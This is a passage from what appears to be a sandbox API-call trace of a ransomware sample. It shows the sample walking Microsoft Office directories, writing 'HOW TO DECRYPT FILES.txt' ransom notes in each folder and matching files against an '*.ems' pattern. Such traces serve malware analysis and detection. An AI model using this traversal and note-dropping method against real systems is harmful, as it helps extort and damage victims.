ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="INFOPA~1")) returned 1 [0065.765] lstrcmpA (lpString1=".", lpString2="InfoPathOM") returned -1 [0065.765] lstrcmpA (lpString1="..", lpString2="InfoPathOM") returned -1 [0065.765] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned="INFOPATH.EXE" [0065.765] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="InfoPathOM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0065.765] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0065.768] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.768] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.768] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.768] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.768] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0065.768] lstrcmpA (lpString1=".", lpString2="InfoPathOMFormServices") returned -1 [0065.768] lstrcmpA (lpString1="..", lpString2="InfoPathOMFormServices") returned -1 [0065.769] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*.*") returned="*.*" [0065.769] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\", lpString2="InfoPathOMFormServices" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0065.769] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502558 [0065.771] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.771] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.772] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.772] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.772] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0065.772] lstrcmpA (lpString1=".", lpString2="InfoPathOMFormServicesV12") returned -1 [0065.772] lstrcmpA (lpString1="..", lpString2="InfoPathOMFormServicesV12") returned -1 [0065.772] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*.*") returned="*.*" [0065.772] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\", lpString2="InfoPathOMFormServicesV12" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" [0065.772] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0065.773] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.773] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.773] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.773] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.773] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0065.773] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0065.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.773] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.773] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*.*") returned="*.*" [0065.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" [0065.774] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\") returned="" [0065.774] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO DECRYPT FILES.txt" [0065.774] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\how to decrypt files.txt")) returned 0xffffffff [0065.774] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0065.778] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.778] CloseHandle (hObject=0x94) returned 1 [0065.778] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\", lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll" [0065.778] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll", pszSpec="*.ems") returned 0 [0065.778] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0065.779] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0065.779] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.779] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.779] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll" [0065.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" [0065.779] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\") returned="" [0065.779] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO DECRYPT FILES.txt" [0065.779] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\how to decrypt files.txt")) returned 0x20 [0065.779] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\", lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" [0065.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml", pszSpec="*.ems") returned 0 [0065.779] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0065.779] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0065.780] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0065.780] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.780] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.780] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*.*") returned="*.*" [0065.780] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0065.780] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="" [0065.780] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO DECRYPT FILES.txt" [0065.780] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\how to decrypt files.txt")) returned 0xffffffff [0065.780] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0065.782] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.782] CloseHandle (hObject=0x90) returned 1 [0065.782] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\", lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll" [0065.783] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll", pszSpec="*.ems") returned 0 [0065.783] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0065.783] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.783] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.783] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.783] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.783] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll" [0065.783] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0065.783] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="" [0065.783] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO DECRYPT FILES.txt" [0065.783] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\how to decrypt files.txt")) returned 0x20 [0065.783] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\", lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" [0065.783] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml", pszSpec="*.ems") returned 0 [0065.783] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0065.784] FindClose (in: hFindFile=0x502558 | out: hFindFile=0x502558) returned 1 [0065.784] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0065.784] lstrcmpA (lpString1=".", lpString2="InfoPathOMV12") returned -1 [0065.784] lstrcmpA (lpString1="..", lpString2="InfoPathOMV12") returned -1 [0065.784] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*.*") returned="*.*" [0065.784] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\", lpString2="InfoPathOMV12" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" [0065.784] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x502558 [0065.784] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.784] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0065.785] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.785] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.785] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0065.785] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.785] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.785] lstrcmpiA 